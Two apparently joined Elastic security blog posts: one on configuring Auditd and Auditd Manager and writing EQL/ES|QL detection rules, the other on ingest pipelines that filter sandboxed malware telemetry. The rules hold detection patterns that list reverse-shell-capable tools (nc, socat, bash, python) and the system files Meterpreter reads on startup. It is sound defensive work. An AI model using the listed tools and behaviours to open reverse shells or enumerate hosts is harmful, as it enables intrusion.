sudo systemctl enable auditd

The /var/log/audit/audit.log file should now be populated with Auditd logs. Next, you need to install the Auditd Logs integration, create an agent policy in Fleet with the newly installed integration, and apply the integration to a compatible Elastic Agent with Auditd installed.

The default settings should suffice for most scenarios. Next, you need to add the integration to an agent policy, and add the agent policy to the Elastic Agents from which you want to harvest data. The Elastic Agent ships the logs to the logs-auditd.log-[namespace] datastream. You can now create a new data view to only match our incoming Auditd logs.

You can now explore the ingested Auditd logs. But as you will quickly notice, Auditd does not log much by default – you must leverage Auditd rules to unlock its full potential.

Auditd rules

Auditd rules are directives used to specify which system activities to monitor and log, allowing for granular control over the security auditing process. These rules are typically configured in the /etc/audit/audit.rules file. Auditd rules come in 3 varieties: control, file, and syscall. More information can be found here.

Control type rules

The control type is, in most cases, used to configure Auditd rather than specifying the events to monitor. By default, the audit rules file contains the following control type settings:

-D
-b 8192
-f 1
--backlog_wait_time 60000

• -D: delete all rules on launch (Auditd parses the rules in the file from top to bottom. Removing all rules on launch ensures a clean configuration).
• -b 8192: set the maximum amount of existing Audit buffers in the kernel.
• -f 1: set the failure mode of Auditd to log.
• --backlog_wait_time 60000: specify the amount of time (in ms) that the audit system will wait if the audit backlog limit is reached before dropping audit records.

File System Rules

Building upon these default control type settings, you can create file system rules, sometimes referred to as watches. These rules allow us to monitor files of interest for read, write, change and execute actions. A typical file system rule would look as follow:

-w [path-to-file] -p [permissions] -k [keyname]

• -w: the path to the file or directory to monitor.
• -p: any of the read (r), write (w), execute (e) or change (a) permissions.
• -k: the name of a key identifier that may be used to more easily search through the auditd logs.

In case you want to monitor the /etc/shadow file for file reads, writes, and changes, and save any such events with a key named shadow_access, you could setup the following rule:

-w /etc/shadow -p rwa -k shadow_access

System call rules

Auditd’s true power is revealed when working with its system call rules. Auditd system call rules are configurations that specify which system calls (syscalls) to monitor and log, allowing for detailed tracking of system activity and interactions with the operating system kernel. As each syscall is intercepted and matched to the rule, it is important to leverage this functionality with care by only capturing the syscalls of interest and, when possible, capturing multiple of these syscalls in one rule. A typical syscall rule would look like this:

-a [action],[filter] -S [syscall] -F [field=value] -k [keyname]

You may leverage the -a flag followed by action,filter to choose when an event is logged, where action can be always (always create an event) or never (never create an event).

filter can be any of:

• task: logs task creation events.
• entry: logs syscall entry points.
• exit: logs syscall exits/results.
• user: logs user-space events.
• exclude: excludes events from logging.

Next, you have:

• -S: the syscall that you are interested in (name or syscall number).
• -F: one or more filters to choose what to match against.
• -k: the key identifier.

With the information provided above, you should be able to understand the basics of most Auditd rules. For more information and examples of what values can be added to these rules, feel free to read more here.

Getting started building and testing a comprehensive and dedicated Auditd rule file for your organization might seem daunting. Luckily, there are some good public rule file examples available on GitHub. A personal favorite template to build upon is Neo23x0’s, which is a good balance between visibility and performance.

One downside of using the Auditd Logs integration is that you manually need to install Auditd on each host that you want to monitor, and apply the rules file manually to each running Auditd instance. This means that every time you want to update the rules file, you will have to update it on all of the hosts. Nowadays, many organizations leverage management tools that can make this process less time consuming. However, Elastic also provides another way of ingesting Auditd logs through the Auditd Manager integration which alleviates the management burden.

Introduction to Auditd Manager and setup

The Auditd Manager integration receives audit events from the Linux Audit Framework that is a part of the Linux kernel. This integration establishes a subscription to the kernel to receive the events as they occur. The Linux audit framework can send multiple messages for a single auditable event. For example, a rename() syscall causes the kernel to send eight separate messages. Each message describes a different aspect of the activity that is occurring (the syscall itself, file paths, current working directory, process title). This integration will combine all of the data from each of the messages into a single event. More information regarding Auditd Manager can be found here.

Additionally, Auditd Manager solves the management burden as it allows centralized management through Fleet. An update to the integration will automatically be applied to all Elastic agents that are part of the changed agent policy.

Setting up the Auditd Manager integration is simple. You need to make sure that Auditd is no longer running on our hosts, by stopping and disabling the service.

sudo systemctl stop auditd
sudo systemctl disable auditd

You can now remove the Auditd Logs integration from our agent policy, and instead install/add the Auditd Manager integration.

There are several options available for configuring the integration. Auditd Manager provides us with the option to set the audit config as immutable (similar to setting the -e 2 control-type rule in the Auditd configuration), providing additional security in which unauthorized users cannot change the audit system, making it more difficult to hide malicious activity.

You can leverage the Resolve IDs functionality to enable the resolution of UIDs and GIDs to their associated names.

For our Auditd rule management, you can either supply the rules in the Audit rules section, or leverage a rule file and specify the file path to read this file from. The rule format is similar to the rule format for the Auditd Logs integration. However, instead of supplying control flags in our rule file, you can set these options in the integration settings instead.

Auditd Manager automatically purges all existing rules prior to adding any new rules supplied in the configuration, making it unnecessary to specify the -D flag in the rule file. Additionally, you can set our failure mode to silent in the settings, and therefore do not need to supply the -f flag either.

You can set the backlog limit as well, which would be similar to setting the -b flag.

There is also an option for setting the backpressure strategy, equivalent to the --backlog_wait_time setting.

Finally, check the option to preserve the original event, as this will allow you to analyze the event easier in the future.

You can now save the integration, and apply it to the agent policy for the hosts from which you would like to receive Auditd logs.

Auditd rule file troubleshooting

The rule file provided by Neo23x0 does not work for Auditd Manager by default. To get it to work, you will have to make some minor adjustments such as removing the control type flags, a UID to user conversion for a user that is not present on default systems, or a redundant rule entry. The changes that have to be made will ultimately be unique to your environment.

You have two ways of identifying the errors that will be generated when copy-pasting an incompatible file into the Auditd Manager integration. You can navigate to the agent that received the policy, and look at the integration input error. You can analyze the errors one by one, and change or remove the conflicting line.

You can also use the Discover tab, select our Auditd Manger data view, and filter for events where the auditd.warnings field exists, and go through the warnings one-by-one.

For example, you can see that the error states “unknown rule type” , which is related to Auditd not supporting control rules. The “failed to convert user ‘x’ to a numeric ID”, is related to the user not existing on the system. And finally, “rule ‘x’ is a duplicate of ‘x’”, is related to duplicate rules. Now that you removed the conflicting entries, and our agent status is healthy, you can start analyzing some Auditd data!

Analyzing Auditd Manager events

Now that you have Auditd Manager data available in our Elasticsearch cluster, just like you did before, you can create a dataview for the logs-auditd_manager.auditd* index to specifically filter this data. Our implemented rule file contains the following entry:

-w /etc/sudoers -p rw -k priv_esc

This captures read and write actions for the /etc/sudoers file, and writes these events to a log with the priv_esc key. Let’s execute the cat /etc/sudoers command, and analyze the event. Let us first look at some of the fields containing general information.

You can see that the /etc/sudoers file was accessed by the /usr/bin/cat binary through the openat() syscall. As the file owner and group are root, and the user requesting access to this file is not UID 0 (root), the openat() syscall failed, which is represented in the log. Finally, you can see the tag that was linked to this specific activity.

Digging a bit deeper, you can identify additional information about the event.

You can see the process command line that was executed, and which process ID and process parent ID initiated the activity. Additionally, you can see from what architecture the event originated and through which tty (terminal connected to standard input) the command was executed.

To understand the a0-3 values, you need to dig deeper into Unix syscalls. You should at this point be aware of what a syscall is, but to be complete, a Unix syscall (system call) is a fundamental interface that allows a program to request a service from the operating system's kernel, such as file operations, process control, or network communications.

Let’s take a look at the openat() syscall. Consulting the open(2) man page (source), you see the following information.

openat() is an evolved version of the open() syscall, allowing for file access relative to a directory file descriptor (dirfd). This syscall enables a program to open a file or directory — a crucial operation for many system tasks. You can see that the syscall is part of the standard C library, and is available in fcntl.h header through the #include <fcntl.h> include statement.

Consulting the manual, you can see the openat() syscall syntax is as follows:

int openat(int dirfd, const char *pathname, int flags, /* mode_t mode */);

• dirfd specifies the directory file descriptor.
• *pathname is a pointer to the name of the file/directory to be opened.
• flags determine the operation mode (e.g., read, write, create, etc.).

Returning to our original event, you are now ready to understand the auditd.data.a0-a3 fields. The a0 to a3 values in an auditd log represent the arguments passed to a syscall. These arguments are crucial for understanding the context and specifics of the syscall's execution. Let's break down how these values relate to openat() and what they tell us about the attempted operation based on our earlier exploration.

• auditd.data.a0 (dirfd): The a0 value, ffffff9c, indicates a special directive, AT_FDCWD, suggesting the operation is relative to the current working directory.
• auditd.data.a1 (pathname): The a1 value, 7ffd0f81871d, represents a hexadecimal memory address pointing to the pathname string of the target file or directory. In this case, it refers to an attempt to access the /etc/sudoers file.
• auditd.data.a2 (flags): Reflected by the a2 value of 0, the flags argument specifies the mode in which the file is to be accessed. With 0 indicating no special flags were used, it implies a default operation – most likely read-only access.
• auditd.data.a3 (mode): The a3 value, also 0, becomes relevant in contexts where the file is being created, dictating the permissions set on the new file.

Based on the analysis above, you now have a pretty good understanding of how to interpret Auditd Manager events.

A different way of quickly getting an idea of what an Auditd Manager event means is by using Elastic’s built-in AI Assistant. Let’s execute the whoami command, and take a look at the auditd.messages field within the event.

You can ask the Elastic AI Assistant to do the heavy lifting and analyze the event, after which you only have to consult the syscall manual to make sure that it was correct. Let’s first create a new system prompt, focused on analyzing Auditd logs, somewhat similar to this:

You can now leverage the newly created system prompt, and paste your Auditd message in there without any additional formatting, and receive the following response:

Generative AI tools are very useful for receiving a quick explanation of an event. But generative AI can make mistakes, so you should always be cognizant of leveraging AI tools for this type of analysis, and double check what output it generates. Especially when leveraging the output of these tools for detection rule development, as one minor mistake could lead to faulty logic.

Auditd Manager detection rule examples

After reading the previous section, you should now have enough knowledge available to get started analyzing Auditd Manager logs. The current Elastic detection rules rule set mostly leverages the Elastic Defend integration, but the number of rules that leverage Auditd is increasing significantly. This section will dive into several detection rules that leverage Auditd, explain the why and try to teach some underused techniques for writing detection rule queries.

Potential reverse shell via UDP

The Potential Reverse Shell via UDP rule aims to identify UDP-based reverse shells. As Elastic Defend does not currently capture UDP traffic, you can leverage Auditd to close this visibility gap. The rule leverages the following logic:

sample by host.id, process.pid, process.parent.pid
  [process where host.os.type == "linux" and event.type == "start" and event.action == "executed" and process.name : (
    "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "perl", "python*", "nc", "ncat", "netcat", "php*",
    "ruby", "openssl", "awk", "telnet", "lua*", "socat"
    )]
  [process where host.os.type == "linux" and auditd.data.syscall == "socket" and process.name : (
    "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "perl", "python*", "nc", "ncat", "netcat", "php*",
    "ruby", "openssl", "awk", "telnet", "lua*", "socat"
    ) and auditd.data.a1 == "2"]
  [network where host.os.type == "linux" and event.type == "start" and event.action == "connected-to" and
   process.name : (
    "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "perl", "python*", "nc", "ncat", "netcat", "php*",
    "ruby", "openssl", "awk", "telnet", "lua*", "socat"
    ) and network.direction == "egress" and destination.ip != null and
   not cidrmatch(destination.ip, "127.0.0.0/8", "169.254.0.0/16", "224.0.0.0/4", "::1")]

The rule leverages the sample functionality, which describes and matches a chronologically unordered series of events. This will ensure the sequence also triggers if the events occur in the same millisecond. Additionally, we leverage a whitelisting approach to specify suspicious binaries that are capable of spawning a reverse connection, allowing for a minimized false-positive rate.

We ensure the capturing of UDP connections by leveraging the Auditd data related to the socket() syscall.

We see that the a0 value represents the domain, a1 represents the type and a2 represents the protocol used. Our rule leverages the auditd.data.a1 == "2" syntax, which translates to the SOCK_DGRAM type, which is UDP.

Finally, we ensure that we capture only egress network connections from the host and ensure the exclusion of IPv4 and IPv6 loopback addresses, IPv4 link-local and multicast addresses, and sequence the query by process.pid and process.parent.pid to make sure the events originate from the same (parent) process.

If we want to hunt for suspicious processes opening UDP sockets, we can query all socket() syscalls with auditd.data.a1 == "2", count the number of distinct process occurrences, and sort them in an ascending order to find anomalies. To do so, we can leverage this ES|QL query:

FROM logs-*, auditbeat-*
| EVAL protocol = CASE(
    auditd.data.a1 == "1", "TCP",
    auditd.data.a1 == "2", "UDP"
)
| WHERE host.os.type == "linux" and auditd.data.syscall == "socket" and protocol == "UDP"
| STATS process_count = COUNT(process.name), host_count = COUNT(host.name) by process.name, protocol
| SORT process_count asc
| LIMIT 100

Looking at the results, we can see quite a few interesting processes pop up, which might be a good starting point for threat hunting purposes.

Potential Meterpreter reverse shell

Another interesting type of reverse connections that we leveraged Auditd for is the detection of the Meterpreter shell, which is a popular reverse shell used within the Metasploit-Framework. The Potential Meterpreter Reverse Shell rule leverages Meterpreter’s default host enumeration behavior to detect its presence.

sample by host.id, process.pid, user.id
  [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/etc/machine-id"]
  [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/etc/passwd"]
  [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/proc/net/route"]
  [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/proc/net/ipv6_route"]
  [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/proc/net/if_inet6"]

When Meterpreter spawns, it collects default system information such as the machine, user, and IP routing information by reading specific system files. We can see this behavior when decompiling the Meterpreter payload, as the paths are hardcoded into the binary.

Our detection logic leverages auditd.data.a2 == “1b6”, as this is consistent with the Meterpreter’s behavior. We can find Meterpreter leveraging this specific syscall combination to read files by looking at the way Meterpreter opens file handlers.

Just for informational purposes, some other paths that Meterpreter reads from can be found in the screenshot below.

We can leverage ES|QL to analyze a set of Meterpreter reverse shells, and easily find out what file paths are being accessed by all of them.

FROM logs-*, auditbeat-*
| WHERE host.os.type == "linux" and event.action == "opened-file" and process.name in ("shell-x64.elf", "JBNhk", "reverse.elf", "shell.elf", "elf") and auditd.data.a2 == "1b6"
| STATS file_access = COUNT_DISTINCT(process.name) by file.path
| SORT file_access desc
| LIMIT 100

In this example we are only analyzing 5 Meterpreter shells, but using ES|QL we can easily scale this analysis to larger numbers. Based on the information above, we can see that the paths that were selected for the detection rule are present in all five of the samples.

Combining the above logic, we can potentially discover Linux Meterpreter payloads.

Linux FTP/RDP brute force attack detected

Given that there are so many different FTP/RDP clients available for Linux, and the authentication logs are not entirely implemented similarly, you can leverage Auditd’s auditd.data.terminal field to detect different FTP/RDP implementations. Our FTP detection logic looks as follows:

sequence by host.id, auditd.data.addr, related.user with maxspan=3s
  [authentication where host.os.type == "linux" and event.action == "authenticated" and 
   auditd.data.terminal == "ftp" and event.outcome == "failure" and auditd.data.addr != null and 
   auditd.data.addr != "0.0.0.0" and auditd.data.addr != "::"] with runs=5

  [authentication where host.os.type == "linux" and event.action  == "authenticated" and 
   auditd.data.terminal == "ftp" and event.outcome == "success" and auditd.data.addr != null and 
   auditd.data.addr != "0.0.0.0" and auditd.data.addr != "::"] | tail 1

Here, we sequence 5 failed login attempts with 1 successful login attempt on the same host, from the same IP and for the same user. We leverage the tail feature which works similar to tail in Unix, selecting the last X number of alerts rather than selecting all alerts within the timeframe. This does not affect the SIEM detection rules interface, it is only used for easier readability as brute force attacks can quickly lead to many alerts.

Although we are leveraging different FTP tools such as vsftpd, the auditd.data.terminal entry remains similar across tooling, allowing us to capture a broader range of FTP brute forcing attacks. Our RDP detection rule leverages similar logic:

sequence by host.id, related.user with maxspan=5s
  [authentication where host.os.type == "linux" and event.action == "authenticated" and
   auditd.data.terminal : "*rdp*" and event.outcome == "failure"] with runs=10
  [authentication where host.os.type == "linux" and event.action  == "authenticated" and
   auditd.data.terminal : "*rdp*" and event.outcome == "success"] | tail 1

Given that auditd.data.terminal fields from different RDP clients are inconsistent, we can leverage wildcards to capture their authentication events.

Network connection from binary with RWX memory region

The mprotect() system call is used to change the access protections on a region of memory that has already been allocated. This syscall allows a process to modify the permissions of pages in its virtual address space, enabling or disabling permissions such as read, write, and execute for those pages. Our aim with this detection rule is to detect network connections from binaries that have read, write and execute memory region permissions set. Let’s take a look at the syscall.

For our detection rule logic, the prot value is most important. You can see that prot can have the following access flags:

As stated, prot is a bitwise OR of the values in the list. So for read, write, and execute permissions, we are looking for an int of:

int prot = PROT_READ | PROT_WRITE | PROT_EXEC;

This translates to a value of 0x7 after bitwising, and therefore we will be looking at an auditd.data.a2 == “7”. We have created two detection rules that leverage this logic - Unknown Execution of Binary with RWX Memory Region and Network Connection from Binary with RWX Memory Region. The detection rules that leverage specific Auditd configurations in order to function, will have a note about what rule to add in their setup guide:

The prior leverages the new_terms rule type, which allows us to detect previously unknown terms within a specified time window. This allows us to detect binaries with RWX permissions that are being seen on a specific host for the first time, while reducing false positives for binaries that are overly permissive but used on a regular basis.

The latter leverages the following detection logic:

sample by host.id, process.pid, process.name
[process where host.os.type == "linux" and auditd.data.syscall == "mprotect" and auditd.data.a2 == "7"]
[network where host.os.type == "linux" and event.type == "start" and event.action == "connection_attempted" and
   not cidrmatch(destination.ip, "127.0.0.0/8", "169.254.0.0/16", "224.0.0.0/4", "::1")
]

We sample a process being executed with these RWX permissions, after which a network connection (excluding loopback, multicast, and link-local addresses) is initiated.

Interestingly enough, Metasploit often assigns these RWX permissions to specific regions of its generated payloads. For example, one of the events that trigger this detection logic in a testing stack is related to the execution of Metasploit’s Postgres Payload for Linux. When analyzing this payload’s source code, you can see that the payload_so function defines the PROT_READ, PROT_WRITE and PROT_EXEC flags.

After which a specific memory region, with a specific page size of 0x1000 is given the RWX access flags in a similar fashion as described earlier.

After running the payload, and querying the stack, you can see several hits are returned, which are all related to Metasploit Meterpreter payloads.

Focusing on the Postgres payload that we were analyzing earlier, you can see the exact payload execution path through our visual event analyzer. Elastic Security allows any event detected by Elastic Endpoint to be analyzed using a process-based visual analyzer, which shows a graphical timeline of processes that led up to the alert and the events that occurred immediately after. Examining events in the visual event analyzer is useful to determine the origin of potentially malicious activity and other areas in your environment that may be compromised. It also enables security analysts to drill down into all related hosts, processes, and other events to aid in their investigations.

In the analyzer you can see perl being leveraged to create and populate the jBNhk payload in the /tmp directory (with RWX permissions) and spawning a reverse Meterpreter shell.

Conclusion

In this post, we've dived into the world of Auditd, explaining what it is and its purpose. We showed you how to get Auditd up and running, how to funnel those logs into Elasticsearch to boost Unix/Linux visibility and enable you to improve your Linux detection engineering skills. We discussed how to craft Auditd rules to keep an eye on specific activities, and how to make sense of the events that it generates. To make life easier, we introduced Auditd Manager, an integration created by Elastic to take some of the management load off your shoulders. Finally, we wrapped up by exploring various detection rules and some of the research that went into creating them, enabling you to get the most out of this data source.

We hope you found this guide helpful! Incorporating Auditd into your Unix systems is a smart move for better security visibility. Whether you decide to go with our pre-built detection rules or craft some of your own, Auditd can really strengthen your Unix security game.

In previous publications, we have written about Detonate: how we built it and how we use it within Elastic for malware analysis. This publication delves deeper into using Detonate for dynamic large-scale malware analysis.

At a high level, Detonate runs malware and other potentially malicious software in a controlled (i.e., sandboxed) environment where the full suite of Elastic Security capabilities are enabled. For more information about Detonate, check out Click, Click… Boom! Automating Protections Testing with Detonate.

A significant portion of the data generated during execution consists of benign and duplicate information. When conducting dynamic malware analysis on a large scale, managing the vast amount of low-value data is a considerable challenge. To address it, we took advantage of several Elastic ingest pipelines, which we leveraged to effectively filter out noise from our datasets. This application of ingest pipelines enabled us to conveniently analyze our large volumes of malware data and identify several malicious behaviors that we were already interested in.

This research examines the concept of ingest pipelines, exploring their different types and applications, and how to implement them. We will then walk through a comprehensive workflow incorporating these ingest pipelines. We will discuss our scripts and the methods that we created in order to automate the entire process. Finally, we will present our results and discuss how the workflow shared in this publication can be leveraged by others to obtain similar outcomes.

Overview

In order to accomplish our large-scale malware analysis goals, we required effective data management. An overview of the chained ingest pipelines and processors that we built is shown below:

In summary, we fingerprint known good binaries and store those fingerprints in an enrich index. We do the same thing when we detonate malware or an unknown binary, using a comparison of those fingerprints to quickly filter out low-value data.

Ingest pipelines

Ingest pipelines are a powerful feature that allows you to preprocess and transform data before indexing it into Elasticsearch. They provide a way to perform various actions on incoming documents, such as enriching the data, modifying fields, extracting information, or applying data normalization. Ingest pipelines can be customized to meet specific data processing requirements. Our objective was to create a pipeline that differentiates known benign documents from a dataset containing both benign and malicious records. We ingested large benign and malicious datasets into separate namespaces and built pipelines to normalize the data, calculate fingerprints, and add a specific label based on certain criteria. This label helps differentiate between known benign and unknown data.

Normalization

Normalization is the process of organizing and transforming data into a consistent and standardized format. When dealing with lots of different data, normalization becomes important to ensure consistency, improve search and analysis capabilities, and enable efficient data processing.

The goal is to make sure documents with unique identifiers are no longer unique. For example, we remove the unique 6-character filename of the Elastic Agent in the " /opt/Elastic/Agent/data/" directory after installation. This ensures data from different Elastic Agents can be fully comparable, leading to more filtering opportunities in later pipeline phases.

To accomplish this, we leveraged the gsub pipeline. It allowed us to apply regex-based transformations to fields within the data pipeline. We performed pattern matching and substitution operations to normalize event data, such as removing special characters, converting text to lowercase, or replacing certain patterns with standardized values.

By analyzing our dataset, we discovered a set of candidates that would require normalization, and created a simple Python script to generate a list of gsub processors based on the matching value and the replacement value. The script that we leveraged can be found on GitHub. Using the output of the script, we can leverage dev tools to create a pipeline containing the generated gsub processors.

Prior to utilizing the normalization pipeline, documents would contain random 6 character strings for every single Elastic agent. An example is displayed below.

After ingesting and manipulating the documents through the normalization pipeline, the result looks like the following.

When all documents are normalized, we can continue with the fingerprint calculation process.

Fingerprint calculation

Fingerprint calculations are commonly used to generate a unique identifier for documents based on their content. The fingerprint ingest pipeline provides a convenient way to generate such identifiers by computing a hash value based on the specified fields and options, allowing for efficient document deduplication and comparison. The pipeline offers various options, including algorithms (such as MD5 or SHA-1), target fields for storing the generated fingerprints, and the ability to include or exclude specific fields in the calculation.

We needed to calculate the fingerprints of documents ingested into Elasticsearch from several sources and integrations such as endpoint, auditd manager, packetbeat, file integrity monitoring etc. To calculate the fingerprints, we first needed to specify which fields we wanted to calculate them for. Because different data sources use different fields, it was important to create separate processors for each data type. For our use case, we ended up creating a different fingerprint processor for the following set of event categories:

By specifying a condition we ensure that each processor only runs on its corresponding dataset.

The included fields to these processors are of the utmost importance, as they can indicate if a field is less static than expected or if an empty field could result in a non-functional pipeline. For example, when working with network data, it might initially make sense to include protocol, destination ip, destination port, source ip and source port. But this will lead to too much noise in the pipeline, as the socket that is opened on a system will be opened on an ephemeral source port, which will result in many unique fingerprints for otherwise identical network traffic. Some fields that may be subject to change relate to file sizes, version numbers, or specific text fields that are not being parsed. Normalization sometimes preserves fields that aren't useful for fingerprinting, and the more specific the fingerprint the less useful it tends to be. Fingerprinting by file hash illustrates this, while adding an empty space to the file causes a new hash to be calculated, this would break an existing hash-based fingerprint of the file.

Field selection is a tedious process but vital for good results. For a specific integration, like auditd manager, we can find the exported fields on GitHub and pick the ones that seem useful for our purposes. An example of the processor that we used for auditd\_manager can be found in the image below.

Enrichment process

The enrich ingest pipeline is used for enriching incoming documents with additional information from external data sources. It allows you to enrich your data by performing lookups against an index or data set, based on specific criteria. Common use cases for the enrich ingest pipeline include augmenting documents with data from reference datasets (such as geolocation or customer information) and enriching logs with contextual information (like threat intelligence labels).

For this project we leveraged enrich pipelines to add a unique identifier to the ingested document if it met certain criteria described within an enrich policy. To accomplish this, we first ingested a large and representative batch of benign data using a combination of normalization and fingerprint calculation pipelines. When the ingestion was completed, we set up several enrich policies through the execute enrich policy API. The execution of these enrich policies will create a set of new .enrich-* system indices. The results stored within these indices will later be used by the pipelines used to ingest mixed (benign and malicious) data.

This will make more sense with an example workflow. To leverage the enrich ingest pipeline, we first need to create enrich policies. As we are dealing with different data sources - meaning network data looks very different from auditd manager data - we will have to create one enrich policy per data type. In our enrich policy we may use a query to specify which documents we want to include in our enrich index and which ones we want to exclude. An example enrich policy that should add all auditd manager data to the enrich index, other than the data matching three specific match phrases, is displayed below.

We are leveraging the “fingerprint” field which is calculated in the fingerprint processor as our match field. This will create an index filled with benign fingerprints to be used as the enriching index within the enrich pipeline.

After creating this policy, we have to execute it for it to read the matching index, read the matching field, query for inclusions and exclusions, and create the new .enrich-* system index. We do this by executing a POST request to the _execute API.

We set wait_for_completion=false to make sure that the policy doesn’t time out. This might occur if the dataset is too large. When we navigate to index management and include hidden indices, we can see that the index is created successfully.

We now have a list of known benign fingerprints, which we will use within our enrich pipeline to filter our mixed dataset with. Our enrich pipeline will once again use a condition to differentiate between data sources. An overview of our enrich processors is displayed below.

Focusing on the auditd manager, we built an enrich processor using the condition field to check if the document's dataset is auditd_manager.auditd. If it matches, we reference the enrich policy we created for that dataset. Using the fingerprint field, we match and enrich incoming documents. If the fingerprint is known within the enrich indices we created, we add the "enrich_label" field with the fingerprint to the document. See the processor below.

Once a document originating from the auditd_manager.auditd dataset comes through, the enrich processor is executed, and this finally executes a script processor. The script processor allows us to run inline or stored scripts on incoming documents. We leverage this functionality to read each document in the pipeline, check whether the “enrich_label” field was added; and if this is the case, we set a new boolean field called “known_benign” to true and remove the “enrich_label” and “enriched_fingerprint” fields. If the document does not contain the “enrich_label” field, we set “known_benign” to false. This allows us to easily filter our mixed dataset in Kibana.

When using the “test pipeline” feature by adding a document that contains the “enrich_label”, we can see that the “fingerprint” and the “known_benign” fields are set.

For documents that do not contain “enrich_label”, just the fingerprint is set.

Working with these enrich policies requires some setup, but once they are well structured they can truly filter out a lot of noise. Because doing this manually is a lot of work, we created some simple Python scripts to somewhat automate this process. We will go into more detail about how to automate the creation of these enrich policies, their execution, the creation of the enrich pipeline and more shortly.

Ingest pipeline chaining

The pipeline ingest pipeline provides a way to chain multiple ingest pipelines. By chaining pipelines, we create a sequence of operations that collectively shapes the incoming data in the form that we want, facilitating our needs for data normalization, fingerprint calculation, and data enrichment.

In our work with Detonate, we ended up creating two ingest pipelines. The first will process benign data, which consists of a normalization pipeline and a fingerprint calculation pipeline. The next will process malicious data, consisting of a normalization, fingerprint calculation, and enrichment pipeline. An example of this would be the following:

With the pipelines in place, we need to ensure that they are actually being used when ingesting data. To accomplish this, we leverage component templates.

Component templates

Component templates are reusable configurations that define the settings and mappings for specific types of Elasticsearch components. They provide a convenient way to define and manage consistent configurations across multiple components, simplifying the management and maintenance of resources.

When you first start using any fleet integrations, you would notice that a lot of component templates are created by default. These are also tagged as "managed", meaning that you can't change the configuration.

In order to accommodate users that want to post process events that are ingested via the fleet managed agent, all index templates call out to a final component template whose name ends in @custom.

The settings you put in these components will never be changed by updates. In our use case, we use these templates to add a mapping for the enrichment fields. Most of the data that is ingested via the fleet and its integrations will go through an ingest pipeline. These pipelines will follow the same pattern in order to accommodate user customizations. Take for example the following ingest pipeline:

We can see that it is managed by fleet and it is tied to a specific version (e.g. 8.8.0) of the integration. The processor will end by calling the @custom pipeline, and ignore it if it doesn't exist.

We want to add our enrichment data to the documents using the enrichment pipelines we described in the previous section. This can now simply be done by creating the @custom pipeline and having that call out to the enrichment pipeline.

Automating the process

In order to create the gsub processors, ingest pipelines, and enrich policies, we had to use three Python scripts. In the next section we will showcase these scripts. If you choose to integrate these scripts, remember that you will need to adjust them to match your own environment in order to make them work.

Creating the gsub ingest pipelines

In order to create a gsub pipeline that will replace the given random paths by static ones we used a Python script that takes several fields and patterns as an input, and prints out a json object which can be used by the pipeline creation API.

Create Custom Pipelines

After setting up the gsub pipeline, we leveraged a second Python script that searches for all fleet managed configurations that call an @custom ingest pipeline. It will then create the appropriate pipeline, after which all the custom pipelines will be pointing to the process_local_events pipeline.

Generate Enrichment Processors

Finally, we created a third Python script that will handle the creation of enrichment processors in four steps.

1. The cleanup process : While an enrichment processor is used in an ingest pipeline it cannot be deleted. During testing and development we simply delete and recreate the ingest pipeline. This is of course not recommended for production environments.
2. Create enrich policies : The script will create every individual policy.
3. Execute the policies : This will start the process of creating the hidden enrichment system index. Note that the execution of the policy will take longer than the execution of the script as it will not wait for the completion of the command. Elastic will create the enrichment index in the background.
4. Re-create the ingest pipeline : After the enrich policy has been updated, we can now re-create the ingest pipeline that uses the enrichments.

After executing these three scripts, the whole setup is completed, and malicious data can be ingested into the correct namespace.

Results and limitations

Our benign dataset includes 53,267,892 documents generated by executing trusted binaries on a variety of operating systems and collecting events from high-value data sources. Using this normalized benign dataset, we calculated the fingerprints and created the enrich policies per data type.

With this setup in place, we detonated 332 samples. After removing the Elastic agent metrics and endpoint alerts from the datasets, we ended up with a mixed dataset containing a total number of 41,710,279 documents.

After setting “known_benign” to false, we end up with 1,321,949 documents. This is a decrease of 96.83% in document count.

The table below presents an overview of each data source and its corresponding number of documents before and after filtering on our “known_benign” field.

We can see that we managed to successfully filter most data sources by a decent percentage. Additionally, the numbers presented in the “after” column include malicious data that we do want to capture. For example, amongst the different malware samples several included ransomware - which tends to create a lot of file events. Also, all of the http traffic originated from malware samples trying to connect to their C2’s. The auditd_manager and fim.event datasets include a lot of the syscalls and file changes performed by the samples.

While building out this pipeline, several lessons were learnt. First of all, as mentioned before, if you add one wrong field to the fingerprint calculation the whole dataset might end up generating lots of noise. This can be seen by adding the source.port to the packetbeat fingerprint calculation, resulting in the endpoint.events.network and all network_traffic-* datasets to increase drastically.

The second lesson we learned: it is not only important to have a representative dataset, but it is also important to have a large dataset. These two go hand in hand, but we learnt that having a small dataset or a dataset that does not generate very similar behavior to the dataset that will be ingested later, will cause the pipelines to be less than half as effective.

Finally, some data sources are better suited for this filtering approach than others. For example, when dealing with system.syslog and system.auth events, most of the fields within the document (except the message field) are always the same. As we cannot use this approach for unstructured data, such as plain text fields, our filter would filter out 99% of the events when just looking at the remaining fields.

Visualizing results

Kibana offers many great options to visualize large datasets. We chose to leverage the Lens functionality within Kibana to search through our malicious dataset. By setting known\_benign to false, setting count of fingerprint as a metric, and sorting by ascending order, we can right away see different malware samples execute different tasks. Examples of file events is shown below.

Within this table, we can see - suspicious files being created in the /dev/shm/ directory - “ HOW_TO_DECRYPT.txt ” file creations indicating the creation of a ransom message - Files being changed to contain new random file extensions, indicating the ransomware encryption process.

When looking into file integrity monitoring events, we can also very easily distinguish benign events from malicious events by applying the same filter.

Right away we notice the creation of a symlink for a linux.service and bot.service , and several run control symlinks to establish persistence onto the system.

Looking at network connections, we can see connection\_attempted events from malicious samples to potential C2 servers on several uncommon ports.

Finally, looking at auditd manager syscall events, we can see the malware opening files such as cmdline and maps and attempting to change the permissions of several files.

Overall, in our opinion the data cleaning results are very promising and allow us to more efficiently conduct dynamic malware analysis on a large scale. The process can always be further optimized, so feel free to take advantage of our approach and fine tune it to your specific needs.

Beyond Dynamic Malware Analysis

